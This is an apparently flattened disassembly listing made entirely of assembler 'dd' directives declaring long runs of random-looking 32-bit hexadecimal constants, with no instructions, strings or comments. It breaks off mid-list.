0A882D5E6h dd 90D1F57Bh, 0D63D10C9h, 55C1B2C5h, 0A5E8A494h, 887DBC69h dd 532FE279h, 26CC8845h, 5C8A006Bh, 2C15D24Dh, 1470E0D1h dd 0F204E304h, 123F668h, 2ED6980Bh, 47B8B16Bh, 0BF0FA883h dd 77EA47ECh, 51C883A3h, 0B6F1BE70h, 1493E67Fh, 9763CE01h dd 0E90838EFh, 5AB71F25h, 40CC90BFh, 3FFBF6DCh, 53123BEDh dd 48A5B66Fh, 0B8C55B95h, 50638AABh, 32AADD8Eh, 0D88C8456h dd 77286AADh, 6C6520E6h, 0EF814F01h, 19E1266Fh, 0E7F7F12Eh dd 2C01DDA1h, 62B227A9h, 185955E0h, 0E91051E5h, 6A4206ABh dd 4E0B5868h, 0FB00EE59h, 602D6BEBh, 0C10CDF4Ch, 11CB915h dd 0B8C46FCBh, 0D0890905h, 4626C2h, 12B6A235h, 7F317827h dd 1BCAFD80h, 0CC172C1h, 36E7E94Ch, 9C4853Ah, 8C52F202h dd 4AFF29F3h, 0E91A28CBh, 0A05FD7CAh, 3A015584h, 3410F15Ch dd 2A7BD61Bh, 0E8E37EF5h, 50560C40h, 0A1291ABEh, 0C02F08C1h dd 20224A71h, 32DE6C7Eh, 0D09087E4h, 0F67AE05Fh, 0C7FED701h dd 30B4EF80h, 85D5C5DAh, 0A8DA6FE9h, 23139EEAh, 68C332FCh dd 0AA847E9Fh, 0FE4FC2A7h, 9DA62634h, 451C381Ah, 0C76BB89h dd 14A5EB58h, 0FE10AA17h, 857AAF18h, 0CCFF01C6h, 0AD2406B2h dd 5000F96Dh, 0E9073F65h, 5FBCAAA7h, 0BD0090F2h, 45AF588h dd 74E828A3h, 89D8952Ch, 94BF927Ah, 645E9DA3h, 89CDD52h dd 90DB758h, 0C13CE9CFh, 807C667Fh, 0D5893E74h, 0EFABEC12h dd 357ECD8Bh, 801CCBD4h, 5341D15Ch, 72B2D7F4h, 28F2B50Fh dd 0D47C26EBh, 0C6860D27h, 4108C0FEh, 485EF31h, 0E50D1C90h dd 68D6067Fh, 0CF02D48h, 0B613F84Bh, 0C40858Dh, 0BD314F4h dd 0B265E97Dh, 560B39F5h, 80233C70h, 5168A2Dh, 0C7EC4E01h dd 2D6B0741h, 0E98D41A5h, 36E2CF6h, 2815C280h, 0ABEAABFAh dd 164CB75Bh, 0EABFA347h, 0C9CA87D7h, 53E97F20h, 0EEADA9CEh dd 80F1A130h, 57FE5C1h, 0A0F91B27h, 8E3EA60Fh, 1284B201h dd 0A66CDF68h, 0CF604E00h dd 4043E9CAh, 0A81FB090h, 0B6DC4E34h, 279CAD9Dh, 958C609h dd 0C7EF8218h, 0C15D00F7h, 534E03EDh, 485AC7h, 87710D68h dd 4E4E5E6Eh, 0E90490B6h, 0AA6BF65Bh, 0C781D804h, 95F4DE9h dd 1224A65Dh, 4834C057h, 5E7CBC40h, 5017745Dh, 0F11381E4h dd 90BA6A64h, 0B248D41Ch, 0FD2DE9F4h, 0C59D20B0h, 60FB598Bh dd 2D40C04h, 17C3382h, 8A0EDFCh, 809571E9h, 1544BEADh dd 0BE0B5B79h, 2583B55Eh, 0D1906395h, 5C98A567h, 0C1C5EE56h dd 8D037582h, 0FDC36E18h, 523BCE1h, 2A482201h, 0DF702E3Eh dd 72FCEF08h, 2127B755h, 0AB5D34EAh, 68ECF48Dh, 900F7FBAh dd 0AB8F828Fh, 9DEF498h, 0DDD4C0B1h, 7F804A52h, 6C97B916h dd 0A4D15C8Ch, 0D333BC4Bh, 0ECD6320Bh, 9F852F5Ah, 0B6E836D7h dd 0C87515AAh, 28ADA04Bh, 9F1ED8BFh, 5C5A6EBCh, 0BDEC30EEh dd 9E5043FDh, 0B8400CDCh, 395C2D68h, 91889A59h, 96B28CBh dd 0B9FB64F9h, 0C65A20FFh, 90D139AAh, 0EEE1ED1Fh, 92010844h dd 3BB762EAh, 4D5E932Fh, 1E5CFF30h, 32F2D89h, 0EF58113h dd 6E12AB02h, 0D9BBAD92h, 0F80B7FE4h, 0C56D022Dh, 0B1E2F567h dd 5FE90702h, 0DD780D5Fh, 0E29CA83Eh, 2F644059h, 0AEE88338h dd 719FF828h, 0FFF62F5Fh, 0ADFAD430h, 316E2EEAh, 5CD70E32h dd 55CABE13h, 0D5FE9492h, 8686A065h, 0BECC2EFFh, 8EC34B45h dd 0BD680261h, 406DB10Ah, 25C8EB9Eh, 0ADD66213h, 0EF00BFCAh dd 95C5B71h, 0AC5E4BF3h, 41680991h, 1964604h, 62143ABCh dd 0C1D2ABBEh, 48E02BF3h, 0B8019846h, 0AC21515Eh, 3AB8893Bh dd 86AB0DFh, 13B2026Ah, 605E0E8Fh, 70EC5000h, 9D389F1h dd 749D685Ah, 69612031h, 37391124h, 0E5656A34h, 0B6EF8D5h dd 0B0EFA3BFh, 55C3825Dh, 0D6524B74h, 6C3C23Ah, 0A282C32Ah dd 8B30AC59h, 84332C1h, 502080Ch, 83119F29h, 0F73CE61Ch dd 0B52DE923h, 4223E2AEh, 44AA5BBDh, 6C58AB6h, 61CAF929h dd 2D5C0EA4h, 0A9767802h, 702B0352h, 0B0C15F2Ch, 0AE40B847h dd 1CCFBE58h, 7F08C581h, 0DFF1014Ah, 2F1FBBE9h, 8739635Fh dd 0FB096C30h, 0D19293D2h, 779C85B0h, 7400AA82h, 1EEE39B0h dd 80554B52h, 0E923BE36h, 28F05D5Ch, 0DE8B07F2h, 2C68CBE1h dd 1B27C08Ch, 7F017455h, 301659D0h, 1624B22Ch, 0EB80F402h dd 104C050Fh, 0E183642Eh, 5078CEBEh, 9897E73Ch, 0C757DFAh dd 79BF2A7Ch, 0CF4C310Bh, 0BAE90F2Ch, 0A47A8E08h, 0E8C87BE7h dd 2E521328h, 32C00046h, 0C5313C99h, 0EEA2E92Eh, 74F8A7BDh dd 0EB4B3A81h, 15D7F228h, 72111768h, 0AE6BB212h, 0C1D996D2h dd 208BACE3h, 0EBF45A5Fh, 50EF9A53h, 95D3907h, 0CF7B1CA5h dd 729CA509h, 0EBD720F3h, 5277F6B5h, 1DFBBC1h, 0B7DDC228h dd 458B139h, 0A631E824h, 0D8EF0BF6h, 90CB10C8h, 0FC37FE3Eh dd 8C321CBDh, 0D47CBD7Ah, 35E920CCh, 0FF24B6BDh, 20128086h dd 0BF009D6Bh, 20CA5B99h, 0D29BF781h, 4ECBBC0Dh, 6F541191h dd 0C99CFA05h, 0CE7AEF65h, 98553F47h, 0C31F9244h, 0C6531EA9h dd 5AD2CC27h, 4A0BEF17h, 7F0B7D43h, 470330Bh, 73CE56BFh dd 56581901h, 0F89AE954h, 0C02BD565h, 0ED8057D5h, 822E787Dh dd 0C48FF5F3h, 24EC61AAh, 571E630h, 8353C16Ah, 0A0E33FEEh dd 1B1AF292h, 0B51C7C8Ah, 12F2E3FBh, 2FB4CF4Ah, 0CCA54A21h dd 7F58D092h, 0B70FC1F6h, 96056C8h, 0AE18B53Bh, 219ACAB1h dd 0E0529B5h, 0FBF01646h, 0BBF2BF5Dh, 0F74BF585h, 0A3813F1Ah dd 23479168h, 0E970405Dh, 453A6230h, 3DABB7F1h, 189786B5h dd 0D470FBD0h, 584EB652h, 741C8428h, 0B2572D49h, 1CD60280h dd 3416C0Bh, 21EA42B2h, 0B2EB6BEh, 0D9880131h, 566804CCh dd 4FCFB35Ch, 7F0B51C7h, 0A9A5A2C7h, 60437DD7h, 593D503Ch dd 294189AFh, 30BE6D63h, 133468A5h, 462A2F31h, 5292A04Fh dd 7F7ED859h, 0D6844058h, 0E9803CEEh, 0E6836827h, 2BE02568h dd 0EB426AE8h, 0DC98D072h, 5D6BA209h, 96EAD728h, 0E9043DF6h dd 64EDFA51h, 8305617Dh, 0FCE404F0h, 17B21224h, 1008EB3Ch dd 680B1C73h, 43462342h, 0C517D309h, 8C6F0774h, 0D56EDD0Bh dd 2B2E7186h, 70C11B2Fh, 0A03E9710h, 0E1129D9Eh, 0D800F7E5h dd 203B5774h, 0F831ED29h, 31580800h, 0F3E913DAh, 0AF6F23Dh dd 0FA131660h, 2056312Dh, 0BB2DFB3Ch, 2988AA56h, 4470A95Ch dd 4C58E858h, 9B8B9D8Ch, 8334D7E5h, 0EA270F9Eh, 6A8659C7h dd 4E378034h, 0C15A772Fh, 7393EA58h, 3806AA79h, 0C067E983h dd 0ACF85B65h, 77B5027Bh, 2801493Dh, 0C1581F08h, 0CD1947CFh dd 36822E44h, 5EEC4C2Dh, 5CE30A71h, 43BA5044h, 0E97CA00Bh dd 81CD6098h, 44B509E2h, 1D002A64h, 9D38D42Fh, 95D570BFh dd 5EC48477h, 880468BCh, 0C3D7F6F7h, 0FF975B4Fh, 4B62E3C6h dd 46EBEA06h, 2C43FABh, 369F0CE4h, 808D701h, 6095E909h dd 0EEEC86D7h, 0A9A45E13h, 0F2A9894Eh, 0BDE13465h, 0E20BC71Ch dd 0FFE0D51Eh, 4E1B10E7h, 0C80C069Fh, 0C01F2748h, 0D6334F74h dd 0F9D4799h, 7526E06Fh, 0FED16B51h, 2FBB2968h, 7A539ED5h dd 30E54C80h, 0F3CB815Bh, 464BA5F2h, 0B2E0A1B5h, 0A70C5051h dd 12DC0BEBh, 23FD8942h, 558C75Dh, 0E11F38F6h, 50588243h dd 6E0F4740h, 0C028F924h, 0B95AF100h, 5FFD214Bh, 27CA85Fh dd 0CB3655E5h, 385BC07Eh, 3F9809FBh, 2A507BE9h, 0F71C5ED3h dd 0B950CBD9h, 0B0540BF4h, 77EB0DC7h, 7B92201Ch, 26E9CD43h dd 0A23A50E4h, 5D57122Fh, 0F90BB145h, 9D853F4Bh, 2E2F75C8h dd 103BC630h, 522C12A0h, 0CDD9A1AAh, 185CF4C9h, 88AB1AD2h dd 8B54CCC0h, 4E09CAF5h, 2BD418h, 0FE7A6B1Ah, 27A1BCAFh dd 68848B65h, 0FA8C5FF4h, 138CF257h, 0B93ED230h, 0C0ED2D58h dd 0CCBBDFAh, 4D458F0Bh, 1014B3F0h, 6956AD3h, 4AC04BF1h dd 0E311160Ch, 5393C20Ah, 1CD7B075h, 585580A5h, 4CA94B5h dd 0C0E9D5F7h, 8420A9E8h, 0E2357EF0h, 0C5B57F2Ah, 12846995h dd 7843A2F8h, 26621620h, 2D99F380h, 0A1FA31E3h, 5E5B26F2h dd 7EC2A3C8h, 68392C5Ah, 0CFE090Fh, 0DF8542A9h, 0F875A152h dd 0D99D3C4Eh, 0B616E9DFh, 0F1098291h, 100C7FEh, 9010A7BBh dd 5B82A15h, 5E55904Bh, 0EF549FE9h, 76F274CAh, 0E5BD6751h dd 0C14AE403h, 4D06E514h, 0B20E75D4h, 0C02CEF16h, 61435BF5h dd 0DD829F7Dh, 0C30EF129h, 7D71A657h, 4254FAFh, 85E821A6h dd 0C7CA8800h, 0A6E7670h, 45FAD392h, 0CC515DAFh, 2E76E937h dd 415E64AAh, 0B26E5151h, 0EB3C84A0h, 0A119F2BFh, 0B43A2FE9h dd 7A9FBBB2h, 5247A00Bh, 39361C50h, 894BFDE9h, 0E564E0FFh dd 0C23610B7h, 2858FAB5h, 27E15F1Ch, 92C9121Bh, 0AB79CA07h dd 6E8788h, 9E14F72Dh, 8A0F0543h, 0E4537C3Fh, 116D323h dd 7B22B49Ch, 285AED20h, 57EE4ED0h, 0C18AFB6Dh, 0D9D70C9Ah dd 0D4CA4254h, 66282271h, 0A1825B7Bh, 7B5A689Fh, 0F8A78405h dd 28AB4EB9h, 8D276802h, 3183E63Ah, 0B4392769h, 52F33F1Dh dd 2D322879h, 127E0F4Bh, 50F65EC2h, 1C6008F6h, 3CBC7275h dd 68525101h, 22407C0Bh, 6C2F5B70h, 21A643AAh, 7A6C0A0Fh dd 0D3B9A45Fh, 0B66E88BBh, 0E680BF1Ch, 0D0185AACh, 9F1CC60Ah dd 0E91358F0h, 0FBB8D6BCh, 0FEBD21F3h, 2BEBC420h, 9A9604E4h dd 0AF5BD989h, 0D0FC65C2h, 0FD594A64h, 1B8C93A9h, 60D95ADh dd 0E2ED7E64h, 0FAC1D4F7h, 0C5048595h, 0C012E2F3h, 1E0DC353h dd 989549Dh, 0EADEA60Fh dd 52C5F51h, 5C13B800h, 613501B1h, 420E6690h, 0EFF89205h dd 57C669BCh, 2E5CB211h, 1D379BDh, 2209DB40h, 1A49330h dd 5E58CC40h, 1857671Ah, 9FEB33E9h, 230CE6C3h, 0E5D495Ah dd 0DE55044Fh, 81DA21CBh, 631CE87Eh, 0BE5600C1h, 1D260FD5h dd 0AA974AE9h, 862E8ECDh, 0B21358ACh, 0DB4828C4h, 0BB49178Fh dd 98A8FF63h, 4E092F9Ah, 92C9B9F1h, 0DB7E7E02h, 40A7C2BFh dd 80F62303h, 7EEC35Ch, 60E956Ah, 0E1E0212h, 0E0C46B92h dd 0A37B6AA1h, 80FED33Ah, 793B689Ch, 90F8BBA8h, 0BD06B180h dd 0F1067DF6h, 0ED4A2010h, 8274BD29h, 88ED977h, 742FB21Bh dd 46792DD6h, 0F56CE962h, 77167F89h, 0BEB85021h, 0A5E5827h dd 4610BEC0h, 0DE7E68C7h, 5A6680C2h, 0E2885253h, 0D0755073h dd 258089A1h, 0C8E6BABh, 5928FA5Eh, 0C85257D8h, 23097507h dd 60F2845Bh, 9FE673E9h, 0D2000729h, 100B7871h, 9216748Ah dd 0BADB8466h, 0ED8886F7h, 6AE5D769h, 49FB5FBEh, 0CC8DE9ACh dd 1A062BDDh, 469DDCDh, 0FB0B69E6h, 12E4EA4Eh, 0CB202651h dd 0E1C30D86h, 3E348938h, 0B0BAC4B0h, 256F00F2h, 0F7815193h dd 7C727397h, 8994E927h, 25247E27h, 7DE60F50h, 8926B717h dd 13EF9641h, 0B06E8E5Fh, 7C1C4575h, 0FD5A01E2h, 5F0805E8h dd 2DC0F9B2h, 661C5E2Fh, 7BEDF097h, 91F4B33h, 40564231h dd 0DC60FCC2h, 0BA0F62BCh, 0EB955807h, 0B04B92CBh, 0C14FFDE6h dd 0E4616CC9h, 58516B61h, 0F66B4C6Ch, 92A4672Eh, 0FA0907B2h dd 580881B8h, 34AFA63Ah, 40E23F91h, 7B9B9C19h, 409540DAh dd 10606A15h, 7665DDC8h, 6AC99E3Ch, 0C8E9C179h, 0E3858143h dd 248F1840h, 0CBC9907Fh, 72266B1Bh, 1A024966h, 0D7D17408h dd 0A3F1E0C8h, 7A4C3B72h, 262504AEh, 0C0C03288h, 4AB154CEh dd 5EF0E862h, 0ABF41AF8h, 76F09B74h, 0CAD44F36h, 851C2327h dd 74DDDEE9h, 79A2EFA3h, 14E95E50h, 0D2545506h, 3FB5D3B7h dd 5FDE3537h, 0D2C989A2h, 1AD2976Eh, 0B55ADB98h, 3B892FF2h dd 62E45942h, 1C97C220h, 2F6ADE68h, 0CB2139FDh, 552B4E6Ah dd 0F29A41E4h, 3DEB93F7h, 0E9930881h, 4840B825h, 3D07F757h dd 85930F3Fh, 6BF8E296h, 2E95ECF6h, 972339E9h, 7489AA58h dd 0C4948A2Bh, 7AF831E9h, 8506E84Eh, 85BFFE5Ah, 86A206ECh dd 0C3F4185Ch, 0B0D706A2h, 0ECE8002h, 5E6C07Bh, 30BCEEC1h dd 0E98785F0h, 0E4D25563h, 4C61DD6Fh, 0AF123E40h, 753D7400h dd 5C317F84h, 76252BC8h, 0D062B2D6h, 41227DD2h, 0B8003538h dd 50CE18DCh, 32CC933Ch, 14201578h, 0ED032E44h, 383C71AEh dd 51289C8Bh, 316B04B7h, 0B351F414h, 0A76A7E35h, 0B0872ABEh dd 9811C20h, 0F84E85BBh, 0A7025D76h, 77BA9CD6h, 43D80B9Ch dd 4BEB6806h, 972F336Fh, 0F747D7E8h, 0A487DB3Fh, 60AF3655h dd 0B1E540B8h, 3E6F005Fh, 0BB537836h, 0EB0E6C01h, 7FB0E92Eh dd 2A032E32h, 4532D264h, 98F4182Ah, 5DD0F750h, 995F5F4h dd 0B6C5173h, 0F046589Fh, 81682AC0h, 2F75A063h, 4DC23DE9h dd 58C0595Fh, 57A0453Eh, 19002385h, 92C7816Dh, 90415510h dd 87CF4801h, 0F92652CFh, 0D10512C6h, 492E68E2h, 2C5CCE46h dd 0A259BF0Ah, 1490C308h, 0F5108D39h, 3B00732h, 34934424h dd 5915FF9Eh, 4C9F8EBAh, 0AA051053h, 8CECC01Dh, 80ACCFEh dd 9FC4802Eh, 29BB415h, 9D48EEBEh, 0F87CC02Dh, 71052D1Dh dd 2954D3D6h, 8F1F43h, 6C7C3F6Fh, 5A385552h, 0E205FB5Dh dd 2A677EF1h, 0C8D27A83h, 9D759F2h, 0D329F598h, 3F5BC6D5h dd 51E0BAE9h, 4C0569C6h, 0D6294B25h, 7C0820F7h, 24C47E59h dd 7A476D8h, 69BD0C83h, 0BBDAD780h, 0E5EA347Bh, 80A9445Ah dd 89EFCF9Bh, 0A1934477h, 680085BDh, 169F471Dh, 355AC1F5h dd 6F39E338h, 8076FA5h, 39762D3h, 4307BA26h, 0EB024CAFh dd 50BCF6EAh, 1365DEB3h, 5C74AC6Bh, 0D131A5A7h, 8000F346h dd 0F7E657EFh, 0B72C6E28h, 0F828231Dh, 0D1C15BBAh, 5B029A7Ah dd 0CBF763FDh, 1C1992Ah, 0F1A3903Fh, 0C92EFEEDh, 8E13B253h dd 2F4C20AAh, 89FE92D6h, 9D2EA97h, 0D15C786h, 3A109E20h dd 0C4520C12h, 0D7018AABh, 806C5788h, 0C7723059h, 0D708F86Bh dd 23A5CC5h, 0E90D9468h, 5EAD4810h, 51E4BD5Fh, 2B76D7A9h dd 72B74B94h, 0FEAA954Eh, 0C05F318Eh, 7A26B331h, 4D68760Ah dd 10CEF75Eh, 527CC380h, 49904D74h, 0D6495462h, 84795D5Ah dd 84222DE3h, 0A465EDABh, 1867DFAAh, 0C1BA5658h, 16C44C28h dd 0BEEE4E75h, 60058E52h, 0DCEFCF70h, 68125FE5h, 0FF60EDCh dd 582C8388h, 0B269E958h, 7A5958BBh, 91641C50h, 12320079h dd 0A82D0A0Fh, 720D7D12h, 74133ECh, 56A00528h, 2A3CCCBEh dd 0CC46B1F1h, 0AC87A37h, 0E9CE0B31h, 0A2E6BA01h, 5E5C1D25h dd 6B740C5h, 0C990052Fh, 24D4E40h, 6EAAF581h, 0DF806089h dd 7B15123Eh, 0CFAFE912h, 0B1074A3h, 47B90279h, 616BAB24h dd 50004902h, 0E026568h, 40581314h, 0FAFA7D48h, 1B243531h dd 4570C189h, 0BADA4A7Eh, 0C2F51921h, 6FE76800h, 0D552B6B4h dd 0E9050DD1h, 16F4D01Eh, 0A8DE4BA1h, 618C9F46h, 0B5754BFAh dd 50E96F1Bh, 8B236D35h, 81BE9857h, 617014C9h, 0C1008933h dd 7FAF6FDCh, 669A5FE9h, 897C7EBFh, 0B1E2E868h, 4D7D3BA9h dd 0AC6E13D1h, 875848AEh, 7F0429BCh, 547CE780h, 88FB6247h dd 0CEE98DC9h, 0EAC06E5Eh, 4A489407h, 3B9AB184h, 0C5C074B8h dd 1FFB3EF7h, 8038882h, 59CD2902h, 4A66525Ah, 0D31EBA66h dd 0D18BD766h, 0CBC05DE7h, 38712F2Ch, 0D80BA9B0h, 0F5AE747Bh dd 5C0AEF64h, 7609B768h, 1668B16Bh, 5198C2Ah, 990CF109h dd 0DC6F0466h, 0BA623E89h, 0A4227F24h, 6AFDD28Ah, 10D804D0h dd 85C4540Eh, 58ABD4Ah, 662E394Ch, 0C6B06201h, 136E99D1h dd 0B1D2E869h, 743BACFBh, 45C000E7h, 171992Fh, 0BB042B5h dd 0E46C0308h, 0F2FE8557h, 0ADAEB440h, 9A2F7508h, 0F0ADB18Ch dd 17D2B33Eh, 51095E54h, 97A6C563h, 0BED4800Ch, 51059858h dd 0C022E95Fh, 7B77D8FEh, 5466F8B4h, 97E93119h, 6B3C337Dh dd 4CA313BCh, 4EBE2102h, 57225738h, 0EF092A81h, 612D305Dh dd 77C0404h, 8EC7F729h, 17BC53BAh, 27FEA6D2h, 8116FC1Fh dd 171DCD7Dh, 110D70E7h, 40E29BACh, 4B30C659h, 0A8D3F084h dd 0DC25D51Dh, 408BCA80h, 4AE93783h, 8798079Bh, 0F7D321FAh dd 5AA87BDBh, 1741242Fh, 7AC17E5Dh, 6D3AA676h, 30B16BBBh dd 93E8B73Fh, 4AACE88h, 0D1416730h, 108EBDE6h, 513B5A1Fh dd 0A6299417h, 0D27078FDh, 0C912F9BFh, 63CAAC83h, 0B338C8A4h dd 0EB9A68B4h, 25CAD732h, 0E4972F8Eh, 6C3AF70Ah, 0EB08242Ch dd 0A13FFA02h, 2ACA771Dh, 0BCD7080Bh, 0E9FFC29Eh, 715F95CAh dd 0DA445h, 2C9D2D1Bh, 0E8AA42E9h, 7AB3A975h, 0F681000Ah dd 0E47EE6A2h, 0DB92D0E9h, 2C7FB001h, 51220CC8h, 0BC9F9660h dd 0E6880ED0h, 595AF347h, 8B2EC5FFh, 0D9A919E9h, 0EA03D155h dd 0A4BC08ECh, 0B819C62Ch, 0C7D8CD06h, 0FA301409h, 5212BB5Bh dd 665FF0Eh, 0D91329FAh, 0DCE91002h, 0C455C028h, 0E78853ACh dd 5B4AF9E4h, 302D9DACh, 0CE3F9966h, 0EE90C20h, 240918B1h dd 2A5A0FC9h, 36D29F4Ch, 0DA59E92Ah, 4F7B5495h, 58288A28h dd 5E2D4378h, 680DB8A5h, 9D176380h, 15119A1Fh, 407B798Fh dd 0D25CF60Dh, 0C4BB2F72h, 6EBFFE71h, 0C57F10B9h, 0FE5FB3C7h dd 0C0B0E895h, 0A74A2DDAh dd 7A016D6h, 0E4A38495h, 41C2C01h, 2FD44FCFh, 0E7E9C31Ah dd 25CF3C66h, 325BCA31h, 166BE42h, 6F6DC380h, 12D66EECh dd 0F9CBB8Bh, 15828814h, 249E72B2h, 1A7A8C2h, 0C22EE268h dd 7AA75C57h, 0DF49697Eh, 6342D4B2h, 5A00E63h, 6083783Ch dd 28732604h, 314E65C8h, 0E9C23DF2h, 0EED6D4B6h, 0D5F70284h dd 2D506AC0h, 1A40B7F2h, 0D35528Ch, 95E86268h, 0BDED5B8Ch dd 7D6FCB0Ch, 0FC052C76h, 0C7BD9036h, 830A777Ch, 0CEF04671h dd 8A4807FAh, 0B90D1014h, 1012B84Bh, 29149457h, 0DD26F0FDh dd 43522D06h, 0D9E9F7C5h, 0EF0D16AAh, 0BDD3E5CAh, 6D0A203Fh dd 20E3D84Dh, 0DB17C82Ch, 3BB1F626h, 0E9DDCC7Fh, 89A5CC2Eh dd 2E92CF81h, 5430560Dh, 0B64E1F01h, 85EF1F1Dh, 0AD526A5Fh dd 22538332h, 0C4FB8C14h, 2195C737h, 0A662920Ah, 820A3E8h dd 0DB4E6C98h, 5A59E183h, 0E21FF8F8h, 1ED02E5h, 85F07DE6h dd 54F88927h, 5AAE58C4h, 60859C83h, 0EE935FFDh, 0E909CD9Eh dd 0EFD17B56h, 7CBA888h, 0A05A93BAh, 2A0B682Eh, 4AEF9297h dd 0E2D8C0A5h, 924E13DEh, 2963BC1Fh, 0ED04D3D1h, 50E09B7Eh dd 0A84D4FEBh, 0E92BA44Bh, 1E57BA5Eh, 0FD5C0BB8h, 1F2BAD0Ch dd 0CADDD186h, 0D917D0DEh, 0C2859813h, 0ADA774FAh, 0EB8101B7h dd 769B0868h, 6276012Fh, 61E92B25h, 0B3228726h, 1C305377h dd 398041B6h, 0CE9D0DE6h, 0B7EE8F81h, 186DC626h, 8E125067h dd 7D5BDE02h, 0CE7EF88Ch, 28C7FF90h, 0EB2869h, 7DB05022h dd 375B9588h, 8FB75300h, 0E65ECF80h, 0E99009E7h, 4320FCF3h dd 0FA2546E1h, 0A40C1B60h, 13144830h, 0EA5C93E9h, 587D6A28h dd 25C0DB18h, 69701FBCh, 0A7574026h, 59D55D13h, 0A9102C0Eh dd 0FAC902E1h, 0D2BA0331h, 0BE1A2E0Eh, 380C25B8h, 0C97B6EBh dd 4942B0E9h, 89CBDEC6h, 9766DD63h, 3F0A3620h, 2C98C189h dd 0D6291EA0h, 7E97F2F2h, 0F2FBA508h, 515453E2h, 90E96194h dd 8B527AAEh, 97055DB0h, 695A6727h, 2D42A4F7h, 294CD1FBh dd 8FB835D8h, 0E65BBB7Ah, 274E5A4Dh, 4DC8B222h, 0D9832699h dd 87398732h, 1019B7D7h, 0ED4EBAC9h, 5918011h, 922942ABh dd 8908804Fh, 5D3B8CAh, 1D9978F2h, 103AACAFh, 470B6EFBh dd 1AF74068h, 6F768075h, 172B014Ch, 10F25BBAh, 0E21E9947h dd 0A0235736h, 3F9437ABh, 7AC9A623h, 6DD72014h, 0E7C15F17h dd 0FEEF8207h, 5D60697Eh, 0B6EA0420h, 765AAE59h, 5EFFD081h dd 0CB73282Fh, 0A6A8594Ah, 4FF382B4h, 0B793B400h, 0E73024C6h dd 0F802CF7Ch, 0F0DD12E9h, 22B12D8Dh, 14C9745Eh, 0AC469571h dd 0FB247C5Eh, 0A0977FFCh, 0C390F61Dh, 0C56A30E9h, 0C705A492h dd 49F93515h, 0BF15E4BBh, 0CC1A60E2h, 0C022471Eh, 252D73Ah dd 700CBB53h, 45E02A83h, 81034B05h, 6227C2E3h, 8AF3B037h dd 79C82F48h, 0C78FEB5Eh, 113A66BDh, 45DB0B0Ch, 1D004A70h dd 54C6557Fh, 5881DB98h, 0BBD424DFh, 2C30230Ch, 2C3F606Ch dd 25AF9421h, 7CBD57D8h, 25DDE8C2h, 9475030Bh, 0F9012DB6h dd 7DC225FCh, 4169EAD9h, 0F76CB5BFh, 513EBE00h, 0DEF75705h dd 0DFCF6BDh, 6E477A5Ah, 6411A2C0h, 0C2369F8h, 9C42D15Eh dd 0CC800105h, 75B340A6h, 0F8F1C9FEh, 59F62871h, 0DEE4C02Eh dd 27FABB08h, 0C54F05D9h, 0EBA39FB3h, 2528ADD7h, 5359C018h dd 0E1154BE9h, 0B0CE2A17h, 488D8A4Eh, 54A58EBh, 0E5D1521Ch dd 97644EC0h, 29B525FEh, 40916A77h, 814ADE8Bh, 2F7AE968h dd 0B45978B6h, 0D4E1E984h, 6529FB63h, 6BC1D16Ah, 3FA406BCh dd 25B147B1h, 0C74C312Eh, 352099DFh, 7A8D40D4h, 608E1CC1h dd 1882165Ah, 0CDE62438h, 2AFA8B61h, 0D31F7B81h, 7FC14602h dd 0D870E405h, 5CA788DDh, 1B84BD01h, 0FE7C445Fh, 3807E610h dd 2CB0B5E9h, 7B96F2EEh, 16DE187Dh, 4044157Bh, 0B0EF3EA6h dd 87BEE57Eh, 9B1B2D08h, 0BC055193h, 4412B0E7h, 0A3359781h dd 5846B900h, 123F4C3Dh, 0A0A8E0D4h, 0CD549EC1h, 6008407Bh dd 2D4CEC08h, 0BA6425E0h, 0AD545717h, 1AE3898Ch, 0E60F00E1h dd 6BC22573h, 2D1F5775h, 63400431h, 68467F05h, 42E9132Fh dd 0FDDE912h, 93412C3Fh, 0E96F9BF1h, 0FC50275Dh, 80C5EF81h dd 0C0ADE8D6h, 454B3EBDh, 119F101h, 51295D0Ch, 3DEDFBF6h dd 8BB3D338h, 4D9268C2h, 0DD2724D3h, 0B4D55AB2h, 2A25D4C6h dd 0E6D9F00h, 0E617BE72h, 81A04E00h, 0BD66C1EEh, 0A034946Ch dd 30E91308h, 0DAFED0D8h, 0D09DD23Ch, 71C85803h, 2FDCF14Ah dd 138CF588h, 0EE735C37h, 3E2A0A01h, 0AD2C101Bh, 0EFE40B7Fh dd 4D3D901h, 48682C09h, 25B9154Eh, 0B15EDD66h, 0F309F33Ch dd 0EA698722h, 1C080C03h, 1D27034Ch, 9246E933h, 30E1844Eh dd 0EA8B122Fh, 0EF8D8D5h, 0D4D3EEB5h, 0BA852Bh, 0FF2AA811h dd 0C64E2917h, 59E9B861h, 0AD36073Eh, 363B7355h, 0E9800E5Fh dd 2894118Ch, 0AB04912h, 60E41E59h, 0FDF22787h, 0EA9FE798h dd 0B9B24309h, 0FC2BD2EAh, 510492FDh, 1012A64Ch, 102CAAAh dd 5F95ED1h, 0CDD0AADFh, 230B352Ch, 0FD959ACBh, 6C6F6500h dd 5D137AC2h, 0FFB4D3E9h, 66E7A0D6h, 58B53E15h, 3E0234A7h dd 0D352EF88h, 5800E34Bh, 554561BBh, 0BF07F41Dh, 9A83C9F4h dd 0DA6DFA7Ch, 0FB6F6AD6h, 0AB300888h, 8CB2012Dh, 0D7208603h dd 5F9203E2h, 0E4E93C25h, 57BFDD02h, 0F635A73Fh, 0E7D102E8h dd 0A4805255h, 573D0CB2h, 9A984950h, 66A4417h, 420E4FEEh dd 0C59F7F85h, 0FC8F2D7Fh, 0D873F792h, 228014BCh, 89F6D402h dd 185A5AD5h, 3F6966D1h, 41046012h, 966065ECh, 842DF3BAh dd 0FE311F2Dh, 49C358D8h, 7E623499h, 4B03F489h, 848B3F5Eh dd 806C9292h, 57397252h, 36597E7Fh, 0FC32B1BDh, 0BCE6077Fh dd 44431D1Fh, 0D2510F8Bh, 82182090h, 6216F2B0h, 0DDF8B240h dd 0FC64BD25h, 631C6812h, 4D010EA3h, 0D1136205h, 71A83CEBh dd 56844B60h, 13F64EFDh, 0BAF1C7E9h, 215A1821h, 4523E46Eh dd 488A202Dh, 8080306Ch, 691790B8h, 39163EB0h, 6F011335h dd 629F7184h, 15511974h, 49486EE9h, 50BC444Bh, 42BB0FDDh dd 63A8552Eh, 50F9E202h, 0EB03B558h, 26148E53h, 4E81F387h dd 0B6FB49C4h, 818B1075h, 86D3F60Dh, 0B5E86F66h, 9C792DEh dd 0C041F291h, 8B47D580h, 7728A906h, 8A893AC5h, 0DDAC9A43h dd 7AB0E2A2h, 76350500h, 0ECFD5E60h, 70092F13h, 0FCED02A5h dd 177896Fh, 4131F975h, 7A3F7A68h, 